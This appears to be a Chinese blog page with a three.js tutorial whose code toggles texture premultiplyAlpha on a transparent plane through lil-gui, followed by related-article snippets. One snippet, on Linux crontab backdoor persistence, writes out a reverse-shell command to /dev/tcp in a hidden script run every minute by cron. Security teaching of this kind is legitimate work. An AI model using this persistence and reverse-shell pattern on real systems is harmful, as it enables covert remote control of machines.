3.js - premultiplyAlpha

news2024/11/19 5:47:47

你瞅啥啊!!!

先看效果图吧

在这里插入图片描述
在这里插入图片描述




代码


// @ts-nocheck
// 引入three.js
import * as THREE from 'three'
// 导入轨道控制器
import { OrbitControls } from 'three/examples/jsm/controls/OrbitControls'
// 导入lil.gui
import { GUI } from 'three/examples/jsm/libs/lil-gui.module.min.js'
// 导入tween
import * as TWEEN from 'three/examples/jsm/libs/tween.module.js'
// 导入hdr加载器(专门加载hdr的)
import { RGBELoader } from 'three/examples/jsm/loaders/RGBELoader.js'
// 导入gltf加载器
import { GLTFLoader } from 'three/examples/jsm/loaders/GLTFLoader.js'

//#region
const scence = new THREE.Scene()

const camera = new THREE.PerspectiveCamera(45, window.innerWidth / window.innerHeight, 0.1, 1000)
camera.position.set(2, 2, 5) // 设置相机位置
camera.lookAt(0, 0, 0)

const renderer = new THREE.WebGLRenderer({
  antialias: true // 开启抗锯齿
})
renderer.setSize(window.innerWidth, window.innerHeight)
document.body.appendChild(renderer.domElement)
//#endregion

//#region
// 添加世界坐标辅助器,红色-X轴; 绿色-Y轴; 蓝色-Z轴
const axesHelper = new THREE.AxesHelper(5)
scence.add(axesHelper)

const controls = new OrbitControls(camera, renderer.domElement)
// 设置带阻尼的惯性
// controls.enableDamping = true
// 设置阻尼系数
controls.dampingFactor = 0.05

// 每一帧根据控制器更新画面
function animate() {
  // 如果,需要控制器带有阻尼效果,或者自动旋转等效果,就需要加入`controls.update()`
  controls.update()
  // `requestAnimationFrame`:在屏幕渲染下一帧画面时,触发回调函数来执行画面的渲染
  requestAnimationFrame(animate)
  // 渲染
  renderer.render(scence, camera)
  // 更新tween
  TWEEN.update()
}
animate()
//#endregion

// --------------------------------------------------------------
// --------------------------------------------------------------

const textureLoader = new THREE.TextureLoader()
let texture = textureLoader.load('../public/assets/texture/rain.png')

let planeGeometry = new THREE.PlaneGeometry(1, 1)
let material = new THREE.MeshBasicMaterial({
  map: texture,
  transparent: true
})
const plane = new THREE.Mesh(planeGeometry, material)
scence.add(plane)

// 图片在Y轴上翻转
// texture.flipY = false
// 将 flipY 置为 true(默认就是true,图片在Y轴上不翻转 )
// texture.flipY = true

// 场景的背景色(添加这个背景色,是因为,可以更清楚的看到`premultiplyAlpha`的作用)
scence.background = new THREE.Color(0xffffff)

const gui = new GUI()

/*
  premultiplyAlpha:用于指示纹理加载器(THREE.TextureLoader)在加载纹理时是否自动进行alpha预乘

  1、如果 premultiplyAlpha 为 true,加载器将在加载纹理时自动对 RGB 分量进行预乘。
     `premultiplyAlpha`默认为true,
     因为这样可以确保与大多数 GPU 渲染的兼容性。

  2、如果 premultiplyAlpha 为 false,加载器将不会进行预乘,而是保持RGB分量的原始值,
     这可能在某些情况下需要,但通常需要更小心地处理透明度和混合。
*/
gui
  .add(texture, 'premultiplyAlpha')
  .name('premultiplyAlpha')
  .onChange(() => {
    texture.needsUpdate = true
  })



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1882232.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

qt打包生成的.exe 桌面快捷键图标模糊/有锯齿

图标使用的是ico文件,如果你的ico里面只有一个尺寸的.png图片,那么qt打包好的exe快捷键图标就会模糊/有锯齿 1.IcoFX图标编辑v3.8.0 便携版 下载地址: http://www.xz7.com/downinfo/547373.html 这个支持中文 2.准备一个256x256的png图标 3.操作流程 然后另存为ico格式即可

stm32学习笔记---DMA直接存储器存取(代码部分)DMA数据转运/DMA+AD多通道

目录 第一个代码:DMA数据转运 扩展知识 DMA的配置步骤 DMA的库函数 DMA_DeInit DMA初始化和DMA结构体初始化函数 DMA_Cmd DMA_ITConfig DMA_SetCurrDataCounter DMA_GetCurrDataCounter 四个获取标志位状态函数 代码实现 MyDMA.c 第一步,开…

权限维持-Linux-定时任务-Crontab后门

目录 靶机编辑后门反弹 靶机添加定时任务 攻击机监听 靶机编辑后门反弹 vim /etc/.xiaodi.sh --创建文件bash -i >& /dev/tcp/IP/998 0>&1 --反弹代码chmod x /etc/.xiaodi.sh --给执行权限 靶机添加定时任务 vim /etc/crontab */1 * * * * r…

10亿数据如何最快速插入MySQL?

最快的速度把10亿条数据导入到数据库,首先需要明确一下,10亿条数据什么形式存在哪里,每条数据多大,是否有序导入,是否不能重复,数据库是否是MySQL? 假设和面试官明确后,有如下约束 …

40、 防火墙--博客

40、防火墙 一、防火墙 1.1、备份防火墙规则 1、iptables的配置文件 /etc/sysconfig/iptables2、创建临时规则,save到备份文件,再清空规则,用cat备份文件到配置文件。利用重定向写入。 备份文件iptables-save >/opt/iptables.bak 备…

idk17配置

只需要把zip包解压,然后配置环境变量: bin目录路径粘到path里面就好了 然后打开cmd窗口分别输入 java javac java -version 验证

无人机的起源

无人机起源于20世纪初的早期实验阶段,并随着技术进步逐步发展。无人机,作为现代科技领域中的一项重要创新,已经在全球范围内展现出其巨大的潜力和应用价值。 无人机的历史可以追溯到1917年,美国人艾德温.奥斯特林发明了“飞行训练…

免费分享:中国十年度及361个城市平均NDVI值统计数据集(附下载方法)

中分辨率成像光谱仪(MODerate-resolution Imaging Spectroradiometer)-MODIS是Terra和Aqua卫星上搭载的主要传感器之一,MODIS 数据有 36 个光谱波段,1-2 天可覆盖地球表面一次,数据从2000年4月开始向全球免费分发数据。 GIMMS(gl…

什么是代理IP节点?它又是如何工作的?

代理IP节点是指在网络通信中充当中间角色的设备或服务器,它扮演着信息中转站的角色,用于转发网络请求和响应。代理IP节点的设置可以实现多种功能,包括但不限于访问控制、加密通信、提高安全性、负载均衡等。今天IPIDEA代理IP就带大家详细了解…

使用StarWind软件做P2V转换

近期有个项目要将一个老的Win7还有XP 32位版本转换为虚拟机。先后用了StarWind,Vmwared的vcenter conerter,还有disk2vhd软件工具。本文介绍下StarWind的使用和一些优势。 其实转换过程很简单,难度是转换以后的虚机无法正常启动。对于虚机的…

万界星空科技服装行业MES系统解决方案

据调查,我国大多数服装厂目前存在两大问题: 第一,是生产设备先进,但管理模式落后,仍采用手工管理模式,未实现信息化; 第二,仍有大量的人工站,短时间内难以用设备代替&a…

web平台—apache

web平台—apache 1. 学apache前需要知道的知识点2. apache详解2.1 概述2.2 工作模式2.3 启动apache网站整体流程2.4 相关文件保存位置2.5 配置文件详解 3. apache配置实验实验1:设置apache的目录别名实验2:apache的用户认证实验3:虚拟主机 (重…

网络安全等级保护2.0(等保2.0)全面解析

一、等保2.0的定义和背景 网络安全等级保护2.0(简称“等保2.0”)是我国网络安全领域的基本制度、基本策略、基本方法。它是在《中华人民共和国网络安全法》指导下,对我国网络安全等级保护制度进行的重大升级。等保2.0的发布与实施&#xff0c…

【网络专用语解释】arp协议

ARP协议 是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间&am…

基于STM32的智能门锁控制系统

目录 引言环境准备智能门锁控制系统基础代码实现:实现智能门锁控制系统 4.1 数据采集模块4.2 数据处理与分析4.3 控制系统实现4.4 用户界面与数据可视化应用场景:门锁管理与优化问题解决方案与优化收尾与总结 1. 引言 智能门锁控制系统通过使用STM32嵌…

zdppy_api+vue3+antd开发前后端分离的tab卡片

后端代码 import api import uploadsave_dir "uploads"async def rand_content(request):key api.req.get_query(request, "key")return api.resp.success(f"{key} " * 100)app api.Api(routes[api.resp.get("/", rand_content),u…

【Python画图-循环01】一文叫你搭建python画图最优环境配置

【Python画图-循环01】一文叫你搭建python画图最优环境配置 本次修炼方法请往下查看 🌈 欢迎莅临我的个人主页 👈这里是我工作、学习、实践 IT领域、真诚分享 踩坑集合,智慧小天地! 🎇 免费获取相关内容文档关注&#…

【Python123题库】#表达式求值 #三角函数计算 #计算存款利息

禁止转载,原文:https://blog.csdn.net/qq_45801887/article/details/140079136 参考教程:B站视频讲解——https://space.bilibili.com/3546616042621301 有帮助麻烦点个赞 ~ ~ Python123题库 表达式求值三角函数计算计算存款利息 表达式求值…

Visual Studio 设置回车代码补全

工具 -> 选项 -> 文本编辑器 -> C/C -> 高级 -> 主动提交成员列表 设置为TRUE

哪个麦克风音质好,麦克风哪种好,2024年热门家用麦克风推荐

​在这个信息爆炸的时代,网络直播和短视频成为了人们获取信息、娱乐和社交的重要方式。作为自媒体人,拥有一款优秀的领夹式无线麦克风是必不可少的。它不仅能够帮助你在各种环境中保持清晰的声音,还能提升你的作品质量和专业度。然而&#xf…